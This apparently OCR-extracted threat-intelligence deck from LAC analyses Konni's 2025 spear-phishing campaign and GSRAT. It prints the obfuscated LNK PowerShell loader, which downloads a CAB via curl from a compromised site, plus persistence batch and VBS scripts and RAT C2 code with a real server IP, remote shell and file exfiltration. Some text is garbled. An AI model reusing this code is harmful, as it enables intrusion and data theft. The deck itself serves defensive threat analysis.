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Introduction

* In May 2025, North Korea -related APT actor Konni launched an attack using a

new Autolt -based RAT (GSRAT)

* This campaign targeted organizations associated with  Japanese financial

Institutions

e Konni distributed malware consisting of an  LNK file and an Autolt script via

a spear-phishing attack that impersonated affiliated companies

* \We share more details about this campaign, including new malware GSRAT

© 2026 LAC Co., Ltd. 4
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* North Korean state -sponsored threat group  active since at least 2014
* Alias:
* Opal Sleet (Microsoft), UNC4531 (Mandiant), Earth Imp (TrendMicro)

North Korea  Targets:

2014 S0 e Main Victims:
- Political organizations
- Financial and cryptocurrency sectors

\
\
\

Konni RAT - Individuals/Organizations who have interest in North Korea
e Country: South Korea, Russia, USA, Japan
w e Malware:
Konni * Konni RAT (2014 - 2024) e Custom Lilith RAT (2023 -)
e Customized Babyface/ Fxfdoor (2018) ¢ Remcos RAT (2025-)
e Amadey (2018 -) e RftRAT(2023 -)
e Custom Amadey (2023 -) e LNK Malware (2023 -)
* xRAT/Quasar RAT (2023 -) e GSRAT (2025-)

© 2026 LAC Co., Ltd. 6



Konni Timeline

Konni RAT
- Commodity Malware
Final
payload | Autolt Malware
RftRAT
Operation Blue Sky [3] Operation EvilPlane [§]
Cryptocurrency industry Financial industry in South Korea
in South Korea
Oldest Campaign [1] Operation Moneyholic  [2] | Fractured Statue Campaign [4] Use of CVE-2023-38831(WIinRAR) [9]
Unknown Cryptocurrency industry US government agency Cryptocurrency industry
in South Korea
Multlple Activities  [5][6][7] Use of Autolt Malware [10]
Russian federation MID South Korea
Russian embassy in Indonesia o _
@ Russian diplomat and politician Activity Targeting Cryptocurrenc  y [11]
@ Russian embassy in Japan South Korean Bitcoin traders
(First reported by Cisco [1])
S O S |
|

'2014 2015 2016 2017- 2018 2019 2020 2021 2022 2023 ;2024 2025 iCampaign
______________________ “-- ourtak ~—--

© 2026 LAC Co., Ltd. * This diagram is based on published reports but includes some of our own estimates.



Relationships with Other Threat Actors

Kimsuky (AhnLab)

Kimsuky

APT43 (Mandiant)
Earth Kumiho (TrendMicro)
Black Banshee (PwC)
Kimsuky (Kaspersky)

W W W

AppleSeed BabyShark GoldDragon
Cluster Cluster Cluster

AppleSeed BabyShark NavRAT

AlphaSeed RandomQuery GoldDragon

| FlowerPower

CloudDragon (TeamT5) KimDragon (TeamT5)
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Opal Sleet (Microsoft)
Earth Imp (TrendMicro)
UNC4531 (Mandiant)

Konni RAT
LINKON CURKON
Custom Custom
Amadey Lilith RAT
RftRAT GSRAT

ScarCruft / Reaper

APT37 (Mandiant)
Groupl123 (Cisco)
RedEyes (AhnLab )
Earth Manticore (TrendMicro)
Black Shoggoth (PwC)

W W

ROKRAT Chinotto
Cluster Cluster
ROKRAT M2RAT
PubNubRAT
Chinotto



Campaign Summary
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Infection Chalin

it
®

> >
https:/... Click Download Extract
Malicious email Compromised site Requ_est for Requgst for
with a link using WordPress Cooperation - 2025 Cooperation - 2025
Special Feature Special Feature
Article.zip Article.docx.Ink
(T TTTT T N Execute
I |_B| =] =] |—I§|ﬁ | .
1 - 1 1 :
. (AR (O3 gmm | Toocx Drop & Execute
y ' ' o : —
' start.vbs installbat Autoit3.exe appcheck.au3d _
A - Decoy File
I Bl pownload Access B Execute
I I
work.cab Compromised site curl.exe powershell.exe
1 Extract  using WordPress B Execute
oEa -
—
expand.exe
Execute g
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Spear -phishing Mail

TLP:AMBER+STRICT

-
A—

LAC

Projection Only

© 2026 LAC Co., Ltd.
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Windows Shortcut (LNK) File (1/2)

e Usesdir and findstr commands to locate powershell.exe under "System32 \WindowsPowerShell "

 Uses PowerShell to execute the obfuscated script embedded within the LNK file

LNK File Size
840,404 bytes

© 2026 LAC Co., Ltd.

/c for /T "tokens=x" %f in 1'dir /s /b %systemroot%\System32\WindowsPowershell\x.exe ~| findstr /i rshell.exe'bﬁﬂﬂ—+f+—
exist "%f" (%f "function string{param($knowledge); <#hate maybe#>${ " ;@/} = $knowledge.substring(@}$knowledge.
length-4) + ''; <#hat actual#>return ${ ";@/};};function abortion{param($expansion);rem''o''ve''-"''i''t''e''m
$expansion -Force;};function financial{param($handle,$die,$thus,$size,$test);<#professional on#> ${#])}
=N''e''w-"'0bj''ect System.IO.FileStream(<#concentrate emotion#>%$handle,<#refuse governor#>[System.I0.FileMode]::0pen,
<#tconsiderable grave#>[System.I0.FileAccess]::Read);<#fast art#> ${#])}.Seek(<#deliver intense#>$die, [System.IO.
SeekOrigin]::Begin);<#small grade#> ${-)}=$thus*x@x01;<#receive race#> ${;)#}=N''e''w-0"'b'"'jec''t byte[] <#nose
newspaper#>$thus; <#increased judgment#> ${@]@=);}=N''ew-''0b''je''ct byte[] <#discover exercise#>${-)}; <#analysis
journalist#>${#])}.Read(<#health generally#>${@]@=);},0,<#pollution council#>${-)}); ${#])}.Close();${—=)..~}=0;while($
{—=)..~} -1t $thus){<#ally conflict#>${;)#}[${-=)..~}]=${@1@=);}[${—=)..~}*0x01] -bxor $size;${-=)..~}++;}<#breast
piano#> set''—-co''nte''nt $test <#maker surgery#> ${;)#} —-Encoding <#armed capable#> Byte;};function active{${ " (} =
$env:public<#white beside#> + '\' +<#testify quietly#> 'do'+'cum'+'en'+'ts';<#size sing#> return ${ " (};};function seed
{param($necessary); <#motivation metal#>${@} = S''p''lit''-Pa''th $necessary;<#reader sell#> return ${@};}; function
predict{param($senator, $usual); ${ “#]=/} = 'expa'+'nd"; &${ "#]=/} $senator —F:x $usual;};function today{return
Get''-L''oc''a''ti''on;};function stone{<#clinical potential#>return $env:Temp;};function recipe{${@—-]1 } = today; ${~.
=/~} = broken -missile ${@-] }; <#truck meter#if(${~.=/~}.length —eq @) {${@--] } = stone; <#lock extreme#>${~.=/~}

= broken -missile ${@-1] };} return ${~.=/~};}; function event{${~[} = $env:public<#race coat#> + '\' + 'wo'+'rk.c'
+'ab';<#hi lose#t> return ${~[};};function claim{${= #. "} = $env:public<#task stream#>+'\do'+'cum'+'ent'+'s\'+'st"'
+'art'+'.v'+'bs ' ;<#ghost defensive#> return ${= #. " };};function broken{param($missile); <#writer lean#> ${#}="'";
[System.I0.Directory]::GetFiles($missile, '*.'+'lnk', [System.IO.SearchOption]::AllDirectories) | <#heavily
makeup#>ForEach-0bject { <#draw feature#> ${.x} = [System.I0.FileInfol::new($_); <#radio hide#> if (${.x}.Length -eq
0x0@0CD2F4ﬂ { <#nobody fence#> ${#} = ${.*}.FullName;}}; return <#entertainment grocery#> ${#};};${)/@ "==} = recipe;
<#date aspect#>%${/).@ "} = seed -necessary ${)/@ "==};<#word angle#> ${ "x]} = string -knowledge ${)/@ "==};financial
-handle <#brilliant perceive#> ${)/@ "==} -die <#policy hard#> 0x00002176 -thus 0x@@0@DBCD -size <#jail Iraqi#> 0x71
~test <#design page#> ${ x]};<#weigh likely#> & ${ xI};${~=;}=event;curl.exe -L -0 ${~=;} https:// | KGR
wp—includes/js/inc/get.php?375347477221=2_odh@HsZ-1695UAyLAT9am6A2TzIhFgHOOEHQ; <#friend bullet#=abortion -expansion $
{)/@ ==};${; [1)~(} = active;<#quit winter#=>predict -senator ${~=;} -usual <#deficit rich#>${; []1)~(};<#emphasis

safe#=abortion -expansion ${~=;};${)@[ } = <#season math#>claim;<#which center#>& ${)@l };" ) )/

Finds powershell.exe
using dir and findstr
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Windows Shortcut (LNK) File (2/2)

1. Gets full path of LNK file
Search for the LNK file and gets its full path and
filename

2. Drops & Executes decoy file
Reads the data from the LNK file based on offset value,
XOR decrypts it, drops it and executes it

3. Gets CAB file path "C:\Users\Public\work.cab "

4. Downloads CAB file
Downloads it from a compromised site using

curl.exe
5. Deletes LNK file

6. Gets path "C:\Users\Public\documents"

7. Extracts files from CAB file into public folder

8. Deletes CAB file

9. Executes start.vbs
Gets the full path and executes it

© 2026 LAC Co., Ltd.

${)/@ *==} = recipe

${/).@ "} = seed -necessary ${)/@ ‘==

${ x|} = string -knowledge ${)/@ ‘==

financial -handle ${)/@ ==

Offset

& ${ %1}
${~=;} = event

curl.exe -L -0 ${~=;} https:// GG o-includes/js/inc/get.php?
375347477221=2_0dhOHsZ-I695UAyLAT9am6A2TzIhFgHOOEHQ

abortion -expansion ${)/@" ‘==
${; [1)~(} = active

predict -senator ${~=;} -usual ${;[])~(}
abortion -expansion ${~=;}

claim

s${lel + =

& ${)ael }

13



GSRAT Execution Flow

Create a shortcut file in the startup folder

— =
MN—

powershell.exe Autoit3.exe
<Shortcut>

Execute Execute Create a task

VBS > ao > (@) EXE >

I — | =
start.vbs install.bat schtasks.exe Appcheck FA207079-CD1G
6447-AEAR7A24D494588E

Load B communicate with C2 server
1 |
EXE >
(==
Autoit3.exe appcheck.au3 C2 Server
B GSRAT

© 2026 LAC Co., Ltd. 14



start.vbs

* Uses DCOM object with CLSID {9BA05972 -F6A8-11CFA442-00A0C90A8F39} for ShellwWindows

* Uses ShellExecute method of the Document.Application property to execute " install.bat "in

the same folder

set obj = GetObject("ne"&"w:9BA0"&"5972-F6A"&"8-11CF-A442-00A0"&" C90A8F39")

set itemObj = obj.Item()

dir = Left(WScript.ScriptFullName, InstrRev(WScript.ScriptFullName, "\") - 1)
itemObj.Document.Application.ShellExecute dir & "\" & "inst" & "all.b" & "at", Null, dir, Null, ©
set obj = Nothing

CreateObject("Scripting.FileSystemObject").DeleteFile Wscript.ScriptFullName, True

© 2026 LAC Co., Ltd. 15



install.bat

* Creates a hidden folder under the public directory and copies the Autolt related files into it

e Sets up a startup shortcut and a scheduled task , then executes the Autolt script

@echo off

set dr=FA207079

set rvl=appcheck.au3

set shortcutName=Appcheck

set targetPath=%public%\%dr%\Autolt3.exe

set arguments=%public%\%dr%\%rvl%s

set shortcutPath="%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\%shortcutName. lnk"
set TASKNAME=Appcheck_FA207079-CD1C-6447-AEAF-7A24D494588E
mkdir %spublic%\%drss

— attrib +h %public%\%dr%

copy "%~dp@AutoIt3.exe" %public%\%dr%s\AutoIt3.exe

copy "%~dp@%rv1l%" %Spublic%\%dr%\%rvl1s

Sets the hidden file
attribute on the folder

Sets it to run on startup powershell —Command "$s = (New-0Object —COM WScript.Shell).CreateShortcut('sshortcutPath%'); $s.TargetPath =

(persistence setting) 'stargetPath%'; $s.Arguments = 'Sarguments%'; $s.WorkingDirectory = 'Spublic%\%dr%'; $s.Save();"
schtasks /Create /SC MINUTE /MO 5 /TN "S%TASKNAMES" /TR "%public%\%dr%\AutoIt3.exe %public®%\%dr%\%rv1%" /F
Executes Autolt3.exe —> start gﬁpUbllC%\%d rs\AutoIt3.exe %pUbllC%\%d res\%rvi1%

del /f /q "%~dp@AutoIt3.exe"
del /f /q "%~dp@%rv1%s"
del /f /q "%~f0"

© 2026 LAC Co., Ltd. 16



appcheck.au3

 appcheck.au3is a compiled Autolt script containing NOP (0x90) padding and GSRAT
* The binary file contains the distinctive  Autolt signature " AU3!IEA06"

) appcheck.au3

Offset(h) ©© ©1 ©2 ©3 ©4 ©5 06 ©7 ©8 ©9 OA OB ©C ©OD OE OF Decoded text

POOO1F30 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
©00O1F40 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
©OOO1F50 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
POOO1F60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
©OBO1F70 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ...........e.o...
P0OO1F80 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0OOO1F90 90 90 90 90 90 90 90 90 90 96 90 90 90 90 90 90  ................ —  0x2000 bytes of NOP(0x90)
@OOO1FA® 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
0OOO1FBO 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
©OOO1FCO 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
©0OO1FDO 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
OOOO1FE® 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
OOBO1FFO 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................ Ll p—m—
00002000 A3 43 4B BE 98 6C 4A A9 99 4C 53 A 86 D6 48 7D EHKA 1JO™LS.toH)} | . odiC UMbET - )
00002010 41 55 33 21 45 41 30 36 4D A8 FF 73 24 A7 3C F6 AU3!EA@G6M {s$§<5 Signature 3 AU3 ! Eis@s€djin
00002020 7A 12 F1 67 AC C1 93 E7 6B 43 CA 52 A6 AD @@ 08 z.Rg-A“ckCER'... |  Autolt v3.2.6 and later

00002030 E1 BB 3A 21 A5 29 E3 EC E7 ©B 98 2E 4@ BD E1 9A &»:!¥)3ic¢.~.@%as
00002040 DE 80 46 B1 9D 6B 3B 21 D4 B1 D6 75 3A C8 3D C6 b€F+.k;!0+0u:E=£
00002050 DO 33 F7 14 AF CB 17 A2 94 ©1 8D 13 88 FE 64 95 D3+. E.¢”... pde
00002060 61 E7 B6 4D 19 F8 @0 00 2C 70 7E A9 3D 18 E3 99 acIM.g..,p~0=.3™
00002070 D5 88 ©9 AC 43 S8F 39 98 1E 38 D6 FE 38 5F 59 72 0" .-C.9”.80p8_Yr
00002080 A9 30 68 90 64 OA F8 A6 @7 26 7D B4 C8 4F 1D 4C ©h.d.¢!.&} EO.L
00002090 21 73 3B 6D D3 31 34 F3 24 28 2C CA 8A 62 A® F4 !s;m0146$(,ESb &

nAANANAYAMNA BN DE N O E9 46 DY 948 99D D {SE 729 A9 29 DA ©O% AATAL a E®RreT

© 2026 LAC Co., Ltd. 17



A Study of Autolt



Autolt

* Qverview
» A freeware BASIC-like scripting language [12]
* Capabilities
e GUI Automation: Simulates keystrokes, mouse movements, and window manipulation to automate tasks
e System Control: Directly calls Windows DLLs and standard Windows APIs
* Note
e Scripts can be compiled into standalone executables (.exe) or .a3x format (tokenized and compressed)

* No external dependencies (e.g., .NET or Java runtimes) are required, making it lightweight

© 2026 LAC Co., Ltd.

Aut2Exe

?IEAuECZDE;;E:;z.r:E.D;::tnlt Script to EXE Converter) - X Date Ve rSIO n
@ UTOIT ©1999-2025 Jonathan Bennett & Autolt Team Se p 7 ’ 2025 v3.3.18.0
http:/fwww.autoitscript. com/autoit3/
Sep 19, 2022 v3.3.16.1
e Gttty | Mar 16, 2018 v3.3.14.5
Destnation (.exe/.a3x) @ .exe O.a3x 0
[ T (Omitted)
Options
Custom Icon (.ico file) ‘ Browse Default Mar 4, 2003 V3 -O
Compile for System [CIxs4
— Aug, 1999 v2.0
Ready \]an, 1999 Vl-o
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Autolt File Type

* Autolt Script How to run: * Changing the file extension (.au3) will not affect its execution.

| |b > Autolt3.exe test.au3
<[>

Example of code:

T Ms g B o xT(tlé}j ,Helld3 World! } )
test.au3

« Compiled Autolt Script (Converted by Aut2Exe)

How to run: * Changing the file extension (.a3x) will not affect its execution. Title X
|_.‘ > Autolt3.exe test.a3x
A?X Example of binary: Hello, World!
L i Offset(h) 00 01 02 03 94 05 06 07 08 09 OA OB OC @D OE OF Decoded text
test.a3x 00000000 A3 48 4B BE 98 6C 4A A9 99 4C 53 @A 86 D6 48 7D £HKZ 1JO™LS.tOH}
00000010 41 55 33 21 45 41 30 36 4D A8 FF 73 24 A7 3C F6 AU3!EA@6M ys$§<0 oK

e Compiled Autolt Executable (Converted by Aut2Exe)

How to run:
> test.exe
LN ]
Example of executable file:
! “i Icon 000DF3B8 | A3 48 4B BE 98 6C 4A A9 99 4C 53 0A 86 D6 48 7D »| HK IJ LS H
.. Menu D00DF3CS | 41 55 33 21 45 41 30 36 4D A8 FF 73 24 A7 3C F6 AUIEADEM s$ <
test.exe .| String Table 000DF3D8 | 74 12 F1 67 AC G193 E7 6B 43 CA 52 A6 AD 00 00 ze kGR
: 000DF3ES | E1 BE 3A 21 A5 20 E3 EC E7 OB 98 2E 40 BD E1 94 1) @
4 RCData

¥ SCRIPT : 0 D0DDF3F8 | DE 80 46 B1 9D 6B 3B 21 D4 B1 D6 75 34 C8 3D C6 Fki ws=
. : DODDF40E Inn 92 F7 14 AE R 17 A9 04 N1 9N 12 90 EF R4 0R 3 d

© 2026 LAC Co., Ltd. * Autolt vesion: 3.3.18.0 20



Autolt Binary Format (EA06)

0000
0010:
0020:
0030:
0040:
0050:
0060:
0070:
0080:
0090:
00A0:
00BO:
00Co:
00D0:
O0EQ:
QOF0:
0100:
0110:
0120:
0130:
0140:
0150:
0160:
0170:
0180:
0190:
01A0:
01BO:
01Co:
01Do:
Q1E0Q:
01F0:
0200:
0210:
0220:

© 2026 LAC Co., Ltd.

00 01 02 03 04 05

A3 48 4B BE 98 6C
41 55 33 21 45 41
7A 12 F1 67 AC C1
E1 BB 3A 21 AS5 29
DE 80 46 B1 9D 6B
Do 33 F7 14 AF CB
61 E7 B6 4D 19 F8
D5 88 09 AC 43 8F
A9 30 68 90 64 OA
21 73 3B 6D D3 31

06 07

4A A9
30 36
93 E7
E3 EC
Sh 29
17 A2

39 98
F8 A6
34 F3

08 09 OA 0B oC @D

99 4C 53 OA 86 D6
4D A8 FF 73 24 A7
6B 43 CA 52 A6 AD
E7 @B 98 2E 40 BD
D4 B1 D6 75 3A C8
94 01 8D 13 88 FE
2C 70 7E A9 3D 18
1E 38 D6 FE 38 5F
@7 26 7D B4 C8 4F
24 28 2C CA 8A 62

D2 5E CD F8
34 9E 25 Do
OF F3 7F A4
94 50 38 22

F3 19 B7 14
B3 25 OA 66
FC 74 1C EO
08 7F 3A CA

87 84 A6 EF

7D DC o1 13
FB 25 78 C8
AC 9A D5 28
3F 70 EF B9
6F BE C3 54

C5 9E AC 6B
E2 13 F9 7D
15 D4 Fe CF
68 1D F8

1F 1B 5B D2

20 7A 99 83 A2 39 C1 @7
D5 0D 78 E4 AA 45 96 CE

BF 05 6E CB
B1 88 D4 6A
D8 84 Al AA
8B 81 B6 FA
5C 20 CF @®
EF 7D DC 01
6D FB FA 03
6C F7 73 B8
AA 22 B7 7E
94 E1 98 BC
QC2Incinn il
39 3F B6 A7
30 36

98 BO 55 A3
59 A9 45 B4
F8 26 3A 4A
7A 95 18 05
E6 87

75 57 9E AC
B3 8B 3E 2F
8C CC 5C AF
92 7A DB D2
E5 CB BE D5
74 A8 6A 3D
8D D7 3D 3F

1B CB AE C3 43 36
D3 81 53 3F 44 7D
5F 89 96 56 A7 93

DE 05 BC
7D DC o1 13
43 CA 52 AF
1D ED DD 71
25 E4 CF 11
Al 07 BE
B9 9E 66 CF
19 C5 2A 70
26 B7 87 6F
53 oC OE DB
F8 9F 2C CC
3B B4 35 DO
E8 A8 16 C2
2A 87
EF 7D DC 01
Do 77 78 8E
E2 Co D1 35
A9 98 8B 81
3CCE 2C B7
1F ©7 8B 8E
Al 28 41 55

* Autolt vesion: 3.3.18.0

87
Cc5
AD

8E
0B
77
ES
80
B3
B4
B3

9E

BO
56
oC
8D
52
84
88
58
6D

OE OF

48 7D
3C F6

E1 9A
3D Cé
64 95
E3 99
3 N7 4P
1D 4C
AQ F4
54 82
3E 49
B9 3A

BC
AC EF

E6
55 2D
€2 CE
3F B6
CF o4
82 85
90 D6
8D 71
D4 98
3531

55 48 AB 07

Fo
D8
35
EB
B1
76
07
33

BC
9C
EE
E2
FC
2C
61
21

E1 70
9E AC
DC @D
35 08
OE 4D
ES\72
E2 4E
45 41

ASCII

HK..13..LS...H}
AU3!EAQG6M. . s$
kC.R

r.) .@
k3! u

A

w
Qo

o |l

P

. -C.9..8.:B'Yr
oh.d &}..0.L
Issm=14.%10..-b
ol ceTt
4.%. .%.f..SDPI
Tow osV :

PB”.."

Gy syl
1..t.])= a.N
9? =? . (AU3!EA
06

Autolt String (UTF_-16) LAME (0xB33F + String Length) XOR
>>>AUTOIT NO CMDEXECUTE<<<
>>>AUTOIT SCRIPT<<<

Path (UTF -16) LAME (0xF479 + String Length) XOR

CA\Users\User\AppData\Local\Autolt v3 \Aut2Exe
\autE394.tmp

Cl\Users\User\AppData\Local\Autolt v3 \Aut2Exe
\autE384.tmp.tok

Compression Flag

01 (True)

Creation Date Last Update Date

2026-01-05 03:02:06.098622 2026-01-05 03:02:06.100399

LAME (0x2477) XOR Compression (Customized LZSS)

Script

MsgBox (", "Title" , "Hello, World!" )
MsgBox (", "Title" , "Hello, World!" )

* Obtaining the source code requires converting the bytecode
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How to Extract Autolt Scripts

* Autolt -Ripper s
e A third -party Python3 script

e Autolt -Ripper can extract embedded scripts directly from executable file or compiled Autolt script

:-$ autoit-ripper --verbose test.a3x output_dir
:autoit_ripper.autoit_unpack:Found a new autoit string: >>>AUTOIT NO CMDEXECUTE<<<
:autoit_ripper.autoit_unpack:Found a new path: C:\Users\User\AppData\Local\AutoIt v3\Aut2Exe\autE394.tmp
:autoit_ripper.autoit_unpack:Found a new autoit string: >>>AUTOIT SCRIPT<<<
:autoit_ripper.autoit_unpack:Found a new path: C:\Users\User\AppData\Local\AutoIt v3\Aut2Exe\autE384.tmp.tok

:autoit_ripper.autoit_unpack:File creation time: 2026-01-05 03:02:06.098622

:autoit_ripper.autoit_unpack:File last write time: 2026-01-05 03:02:06.100399
:autoit_ripper.autoit_unpack:CRC data matches

:autoit _ripper.decompress:decompress: found a correct EAG6 compressed blob
:autoit_ripper.autoit_unpack:FILE magic mismatch

:root:Storing result in output dir/script.au3

» Exe2Aut (Old official tool) 2z e ]
S
* An official decompiler included with Autolt v3.3.4.0 and earlier —
 This tool only supports older formats up to v3.2.5.1 —
h
o EXxe2Aut 4
@ Exe2au De - o x
* A third -party tool which can reconstruct script from 32 -bit executable file O —_
e This tool only supports older formats up to v3.3.14.5 T e
[ Dont show again
* myAut2Exe

© 2026 LAC Co., Ltd. 22



Deep Dive into GSRAT



* Basic properties

° Language: Autolt v3 Global $GSMUTEX = "Global\02A962B3-EAOD-B3F0-FBF8-C8D1BEDE12ERQ"
Global $GSDEFAULTSERVER = '"38.180.249.56"
* Filetype: Compiled Autolt script (.a3x) Global $GNPORT = 80
Global $CMD_START = "cmd"
 Firstseen: Feb 2025 Global $CMD_STOP = "exit"
Global $CMD_DOWNLOAD = "download"
e Features Global $CMD_UPLOAD = "upload"
Global $CMD_EXPLORER_LIST = "listdir"
e Dummy code for detection evasion Global $CMD_DELETE = "delete"
Global $CMD_EXECUTE = "run"
e Command and Control Global $G_SVERSION = "2.0"
_ Global $MAX_DOWNLOAD_SIZE = 1024 % 1024 x 1024
e Persistence Global $BUFFER_READ = 2048
Global $G_HCHILDSTD_IN_RD = 0
e Scheduled tasks or Startup folder (Aug 2025 version) Global $G_HCHILDSTD_IN_WR = 0
Global $G_HCHILDSTD_OUT_RD = @
e Note Global $G_HCHILDSTD_OUT_WR = 0
Global $G_HCHILDPROCESS = 0
e The name comes from the variable name $GS ($G_S) Global $G_HCHILDTHREAD = 0
Global $G_SOCKET = 0
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GSRAT: C2 Communication

* GSRAT sends dataspecific strings , SHA256 hash of unique hardware information and version value

* |t provides basic command and control functions, each corresponding to a specific command name

$IRESULT = CONNECTSERVER ( $GSDEFAULTSERVER , $GNPORT )
If $IRESULT = False Then

Else
If _SETKEEPALIVE ( $G_SOCKET , 1 , 10000 , 1000 ) = True Then
EndIf Specific string  Victim ID  Version
$SID = GETID ( )
| _SEND ( $G_SOCKET , "MSITRUAVDWAX" & $SID & $G_SVERSION ) | MSITRUAVDWAX5451964191 2.0

$CONNECTED = 1
While $CONNECTED = 1

ﬁﬁg?;fﬁ::ﬁmﬁ { $6S0CKET ) It creates a 10-digit ID using SHA-256 based on the device's "PC Name

$CONNECTED = 0 + CPU Type + HDD/SSD Volume ID" and extracting parts of the hash

ExitLoop
EndIf
$SCMD = StringMid ( $SREAD , 1 , StringInStr ( $SREAD , " " ) + 4294967295 )

$SPARAM = StringMid ( $SREAD , StringInStr ( $SREAD , " " ) + 1) -
$SPARAM = StringReplaCe ( $SPARAM , ||/|| , ||\|| ) Command Descrlptlon

If StringCompare ( $SCMD , $CMD_START ) = 0 Then

REMOTESHELLPROCESS ( $G_SOCKET ) cmd Start a remote shell
ElseIf $SCMD = $CMD_UPLOAD Then . . .
UPLOADPROCESS ( $G_SOCKET , $SPARAM ) upload Receive afile (server to victim)
ElseIf $SCMD = $CMD_DOWNLOAD Then . . L
DOWNLOADPROCESS ( $G_SOCKET , $SPARAM ) download Exfiltrate a file (victim to server)

ElseIf $SCMD = $CMD_EXPLORER_LIST Then

LISTDIR ( $G_SOCKET , $SPARAM ) Get the contents of the specified directory

- listdir : . ) :
Elself $SCMD = $CHD_DELETE Then (list of files and subdirectories)
DELETEPROCESS ( $G_SOCKET , $SPARAM )
ElseIf $SCMD = $CMD_EXECUTE Then :
RUNPROCESS ( $G_SOCKET , $SPARAM ) delete Delete a flle
EndIf
JEnd run Execute a program
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GSRAT: Timeline

mrdstart.au3 mrdstart.au3 ISYuiAb.pdf
O + Compile Time: 2025 -02-20 O « Compile Time: 2025 -07-31 O e« Compile Time: Unknown
e Compile Path: « Compile Path: « Compile Path: Unknown
C:\Users\admin \AppData\Local C:\Users\User\AppData\Local » Delivery: Mall
\Autolt v3\Aut2Exe\autl16E.tmp \Autolt v3\Aut2Exe\autCAB2.tmp
* Delivery: Unknown « Delivery: Unknown

BN FEC BN APR I UL Em AUC I OV ﬁ

2025 2026

* Malware activity timeline

o This attack campaign
based on sample compile time paig

appcheck.au3 loKITr.au3
« Compile Time: 2025 -04-29 « Compile Time: 2025 -08-21
O « Compile Path: O « Compile Path:
C:\Users\User\AppData\Local C\Users\Bay\AppData\Local
\Autolt v3\Aut2Exe\aut5BES8.tmp \Autolt v3\Aut2Exe\aut97A8.tmp
« Delivery: Mall « Delivery: SNS
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GSRAT (Aug 2025) New Features

* New GSRAT sends the data in JSON format with the delimiter " endClient9688 " or "endServer9688 i

e C2command name is slightly different from the one used in GSRAT in our attack campaign

$IRESULT = CONNECTSERVER ( $SSERVERIP , $ISERVERPORT ) Local $JSONOBJ = JSON_DECODE ( $DATA )
If JSON_OBJEXISTS ( $JSONOBJ , "shellStart" ) Then

If $IRESULT = False Then REMOTESHELLPROCESS ( $G_SOCKET )

Else ElseIf JSON_OBJEXISTS ( $JSONOBJ , "shellStop" ) Then
If _SETKEEPALIVE ( $G_SOCKET , 1 , 10000 , 1000 ) = True Then WRITEREMOTESHELL ( "exit\n" )
EndIf ElseIf JSON_OBJEXISTS ( $JSONOBJ , "command" ) Then
Switch JSON_OBJGET ( $JSONOBJ , "command" )
_SENDSYSTEMINFO ( ) Case "refresh"
-« GETFILELIST ( )
Case "list"

Func _SENDSYSTEMINFO ( )
Local $0JSON = JSON_OBJCREATE ( )
JSON_OBJPUT ( $0JSON , "hostname" , @ComputerName )

JSON_OBIPUT ( $0JSON , "os" , @0SVersion & " " & @0SBuild )

JSON_OBJPUT ( $0JSON , "ip" , _GETLOCALIP ( ) )
JSON_OBJPUT ( $0JSON , "username" , @UserName )
Local $SJSON = JSON_ENCODE ( $0JSON )

Local $JSONDATA = $SJSON & "endClient9688"
_SEND ( $G_SOCKET , $JSONDATA )

{"hostname":"DESKTOP -JVR1DOP","0s":"WIN_10

14393""ip""192.168.10.10 \/\/"," username":"test "}endClient9688

Initial communication

© 2026 LAC Co., Ltd.

Local $FILEPATH = JSON_OBJGET ( $JSONOBJ , "path™ )
GOINTOFILEPATH ( $FILEPATH )
Case "goUp"
Local $SPATH = JSON_OBJGET ( $JSONOBJ , "path" )
Local $SPARENTPATH = GETPARENTDIRECTORY ( $SPATH )
GOINTOFILEPATH ( $SPARENTPATH )
Case "download"
Local $SDOWNPATH = JSON_OBJGET ( $JSONOBJ , "downPath" )
DOWNLOADPROCESS ( $G_SOCKET , $SDOWNPATH )
Case "upload"
$UPLOADPATH = JSON_OBJGET ( $JSONOBJ , "clientPath" )
$UPLOADFILENAME = JSON_OBJGET ( $JSONOBJ , "fileName" )
EndSwitch

{"command": "download"," downPath "
"C:\\path \\to \\file.txt "}endServer9688

C2 Commands




Custom Lilith RAT

* Basic properties
* Language: Autolt v3
* Filetype: Compiled Autolt script (.a3x)
e First seen: Dec 2023
* Features
e Dummy code for detection evasion
* Command and Control
* Persistence

e Scheduled tasks or Startup folder

e Note

e Custom Lilith  RAT is modified from the open
source RAT called Lilith RAT [15]

e |t supports only the remoteControl function

(remote command execution)

© 2026 LAC Co., Ltd.

Func PROCESSCOMMAND ( $COMMAND )

Local $CMD = PROCESSPARAMETER ( $COMMAND , "remoteControl" )
If Not @error Then
If Not $CMDOPEN Then
Local $PATH
If $CMD = "cmd" Then
$PATH = "C:\Windows\System32\cmd.exe"
ElseIf $CMD = "pws" Then
$PATH = "C:\Windows\System32\WindowsPowerShell\v1l.@\powershell.exe"
ElseIf $CMD = "pws32" Then
$PATH = "C:\Windows\SysWOW64\WindowsPowerShell\vl.@\powershell.exe"
EndIf
If FileExists ( $PATH ) Then
CMDTHREAD ( $PATH )
While Not $CMDOPEN

Sleep ( 50 )
WEnd
Return "CMD session opened."
Else
Return "File doesn't exist."
EndIf
Else

WRITECMD ( "exit" )
$CMDOPEN = False
Return "CMD session closed"
EndIf
Else
Return "Command '" & $COMMAND & "' was not recognized."
EndIf
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Comparison Between GSRAT and Custom Lilith RAT

 Both GSRAT and Custom Lilith RAT use similar code to check for Avast products

 They also implement a mutex check using the

ISMULTIPLE() function

If ISMULTIPLE ( ) Then
Exit ( 0 )
EndIf
Local $SSCRIPTPATH = @ScriptFullPath
Local $AVASTPROCESSES [ 2 ]
$AVASTPROCESSES [ @ ] = "AvastUI.exe"
$AVASTPROCESSES [ 1 1 = "AvastSvc.exe"
$PROCESSLIST = ProcessList ( )
$AVASTRUNNING = False
For $I = 1 To $PROCESSLIST [ @0 ] [ 0 ]
